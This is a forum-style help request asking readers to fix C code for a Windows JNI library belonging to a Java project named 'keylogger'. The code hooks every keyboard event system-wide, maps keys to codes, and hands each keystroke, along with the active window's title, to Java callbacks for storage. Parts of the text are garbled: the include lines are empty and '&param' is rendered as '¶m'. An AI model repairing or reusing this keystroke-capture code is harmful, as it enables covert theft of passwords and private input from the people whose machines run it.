Can someone please rectify the mistakes in the following code?
Thanks in advance
#include
#include
#include
#include "org_suhail_keylogger_HelperClasses_NativeMethods.h"
#include "KeyMap.h"
static HANDLE hookThreadHandle = NULL;
static HHOOK handleKeyboardHook = NULL;
static DWORD hookThreadId = 0;
static jmethodID callBackToDeliverKeyStroke = NULL;
static jmethodID callBackToStoreKeyStrokesAsHtml = NULL;
static jmethodID callBackToStoreWindowName = NULL;
jobject object;
static JavaVM *JVM = NULL;
static LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if(nCode >= 0 ) {
if( wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN ) {
JNIEnv *Env;
(*JVM)->AttachCurrentThread(JVM,&Env,NULL);
wchar_t buff[10];
BYTE keyState[256] = {0};
KBDLLHOOKSTRUCT * kbhook = (KBDLLHOOKSTRUCT *) lParam;
int result = ToUnicodeEx( kbhook->vkCode,
kbhook->scanCode,
keyState,
buff,
10,
0,
NULL);
int CTBS = 0;
switch(kbhook->vkCode) {
case 48: // zero
CTBS = org_suhail_keylogger_map_zero;
break;
case 49: // one
CTBS = org_suhail_keylogger_map_one;
break;
case 50: // two
CTBS = org_suhail_keylogger_map_two;
break;
case 51: // three
CTBS = org_suhail_keylogger_map_three;
break;
case 52: // four
CTBS = org_suhail_keylogger_map_four;
break;
case 53: // five
CTBS = org_suhail_keylogger_map_five;
break;
case 54: // six
CTBS = org_suhail_keylogger_map_six;
break;
case 55: // seven
CTBS = org_suhail_keylogger_map_seven;
break;
case 56: // eight
CTBS = org_suhail_keylogger_map_eight;
break;
case 57: // nine
CTBS = org_suhail_keylogger_map_nine;
break;
case 81: // q
CTBS = org_suhail_keylogger_map_q;
break;
case 87: // w
CTBS = org_suhail_keylogger_map_w;
break;
case 69: // e
CTBS = org_suhail_keylogger_map_e;
break;
case 82: // r
CTBS = org_suhail_keylogger_map_r;
break;
case 84: // t
CTBS = org_suhail_keylogger_map_t;
break;
case 89: // y
CTBS = org_suhail_keylogger_map_y;
break;
case 85: // u
CTBS = org_suhail_keylogger_map_u;
break;
case 73: // i
CTBS = org_suhail_keylogger_map_i;
break;
case 79: // o
CTBS = org_suhail_keylogger_map_o;
break;
case 80: // p
CTBS = org_suhail_keylogger_map_p;
break;
case 65: // a
CTBS = org_suhail_keylogger_map_a;
break;
case 83: // s
CTBS = org_suhail_keylogger_map_s;
break;
case 68: // d
CTBS = org_suhail_keylogger_map_d;
break;
case 70: // f
CTBS = org_suhail_keylogger_map_f;
break;
case 71: // g
CTBS = org_suhail_keylogger_map_g;
break;
case 72: // h
CTBS = org_suhail_keylogger_map_h;
break;
case 74: // j
CTBS = org_suhail_keylogger_map_j;
break;
case 75: // k
CTBS = org_suhail_keylogger_map_k;
break;
case 76: // l
CTBS = org_suhail_keylogger_map_l;
break;
case 90: // z
CTBS = org_suhail_keylogger_map_z;
break;
case 88: // x
CTBS = org_suhail_keylogger_map_x;
break;
case 67: // c
CTBS = org_suhail_keylogger_map_c;
break;
case 86: // v
CTBS = org_suhail_keylogger_map_v;
break;
case 66: // b
CTBS = org_suhail_keylogger_map_b;
break;
case 78: // n
CTBS = org_suhail_keylogger_map_n;
break;
case 77: // m
CTBS = org_suhail_keylogger_map_m;
break;
case 32: // space
CTBS = org_suhail_keylogger_map_space;
break;
case 188: // comma
CTBS = org_suhail_keylogger_map_Comma;
break;
case 190: // dot
CTBS = org_suhail_keylogger_map_Dot;
break;
case 191: // forward slash
CTBS = org_suhail_keylogger_map_ForwardSlash;
break;
case 186: // semi colon
CTBS = org_suhail_keylogger_map_SemiColon;
break;
case 222: // quotation mark
CTBS = org_suhail_keylogger_map_QuotationMark;
break;
case 219: // left square bracket
CTBS = org_suhail_keylogger_map_LeftSquareBracket;
break;
case 221: // right square bracket
CTBS = org_suhail_keylogger_map_RightSquareBracket;
break;
case 220: // backward slash
CTBS = org_suhail_keylogger_map_Backslash;
break;
case 162: // LeftControl
CTBS = org_suhail_keylogger_map_LeftControl;
break;
case 160: // LeftShift
CTBS = org_suhail_keylogger_map_LeftShift;
break;
case 20: // CapsLock
CTBS = org_suhail_keylogger_map_CapsLock;
break;
case 9: // tab
CTBS = org_suhail_keylogger_map_tab;
break;
case 8: // backspace
CTBS = org_suhail_keylogger_map_Backspace;
break;
case 36: // home
CTBS = org_suhail_keylogger_map_Home;
break;
case 33: // page up
CTBS = org_suhail_keylogger_map_PageUp;
break;
case 34: // page down
CTBS = org_suhail_keylogger_map_PageDown;
break;
case 35: // end
CTBS = org_suhail_keylogger_map_End;
break;
case 38: // up arrow
CTBS = org_suhail_keylogger_map_UpArrow;
break;
case 39: // right arrow
CTBS = org_suhail_keylogger_map_RightArrow;
break;
case 40: // down arrow
CTBS = org_suhail_keylogger_map_DownArrow;
break;
case 37: // left arrow
CTBS = org_suhail_keylogger_map_LeftArrow;
break;
case 91: // window key
CTBS = org_suhail_keylogger_map_Window;
break;
case 161: // Right Shift
CTBS = org_suhail_keylogger_map_RightShift;
break;
case 163: // Right Control
CTBS = org_suhail_keylogger_map_RightControl;
break;
case 164: // Left Alt
CTBS = org_suhail_keylogger_map_LeftAlt;
break;
case 165: // Right Alt
CTBS = org_suhail_keylogger_map_RightAlt;
break;
case 46 : // delete
CTBS = org_suhail_keylogger_map_Delete;
break;
case 45: // insert
CTBS = org_suhail_keylogger_map_Insert;
break;
case 27: // escape
CTBS = org_suhail_keylogger_map_Escape;
break;
case 255: // Wifi Key
CTBS = org_suhail_keylogger_map_Wifi;
break;
case 112: // F1
CTBS = org_suhail_keylogger_map_f1;
break;
case 113: // F2
CTBS = org_suhail_keylogger_map_f2;
break;
case 114: // F3
CTBS = org_suhail_keylogger_map_f3;
break;
case 115: // F4
CTBS = org_suhail_keylogger_map_f4;
break;
case 116: // F5
CTBS = org_suhail_keylogger_map_f5;
break;
case 117: // F6
CTBS = org_suhail_keylogger_map_f6;
break;
case 118: // F7
CTBS = org_suhail_keylogger_map_f7;
break;
case 119: // F8
CTBS = org_suhail_keylogger_map_f8;
break;
case 120: // F9
CTBS = org_suhail_keylogger_map_f9;
break;
case 121: // F10
CTBS = org_suhail_keylogger_map_f10;
break;
case 122: // F11
CTBS = org_suhail_keylogger_map_f11;
break;
case 123: // F12
CTBS = org_suhail_keylogger_map_f12;
break;
default:
CTBS = 2111; // signifies unknown key u = 21 k = 11
}
jvalue code,*arr;
code.i = CTBS;
arr = &code;
(*Env)->CallVoidMethodA(Env,object,callBackToStoreKeyStrokesAsHtml,arr);
WCHAR title[500];
int length = GetWindowTextW(GetForegroundWindow(), title, 500);
jstring windowName = (*Env)->NewString(Env,(jchar*)title,length);
jvalue param;
param.l = windowName;
(*Env)->CallVoidMethodA(Env,object,callBackToStoreWindowName,¶m);
}
}
return CallNextHookEx(handleKeyboardHook, nCode, wParam, lParam);
}
BOOL WINAPI installHook(HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpvReserved) {
handleKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hinstDLL, 0);
MSG msg;
while(GetMessage(&msg, NULL, 0, 0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return msg.wParam;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fwdReason, LPVOID lpvReserved) {
if(hookThreadHandle==NULL) {
LPTHREAD_START_ROUTINE lpStartAddress = &installHook;
hookThreadHandle = CreateThread(NULL, 0, lpStartAddress, NULL, 0, &hookThreadId);
}
return TRUE;
}
void Java_org_suhail_keylogger_HelperClasses_NativeMethods_unregisterHook
(JNIEnv *env, jobject obj) {
if(handleKeyboardHook != NULL) {
UnhookWindowsHookEx(handleKeyboardHook);
}
}
void Java_org_suhail_keylogger_HelperClasses_NativeMethods_initializeJNIVars
(JNIEnv *env, jobject obj) {
jclass cls = (*env)->GetObjectClass(env,obj);
callBackToDeliverKeyStroke = (*env)->GetMethodID(env,cls,"displayKeyStrokes","()V");
callBackToStoreKeyStrokesAsHtml = (*env)->GetMethodID(env,cls,"storeKeyStrokesInList","(I)V");
callBackToStoreWindowName = (*env)->GetMethodID(env,cls,"storeNameOfForegroundWindow","(Ljava/lang/String;)V");
object = (*env)->NewGlobalRef(env,obj);
if(object == NULL | callBackToDeliverKeyStroke == NULL | cls == NULL | callBackToStoreKeyStrokesAsHtml == NULL | callBackToStoreWindowName == NULL) {
printf("Initialization error...One of the variable is Null\n");
}
}
jint JNI_OnLoad(JavaVM *jvm,void *reserved) {
JVM = jvm;
return JNI_VERSION_1_4;
}
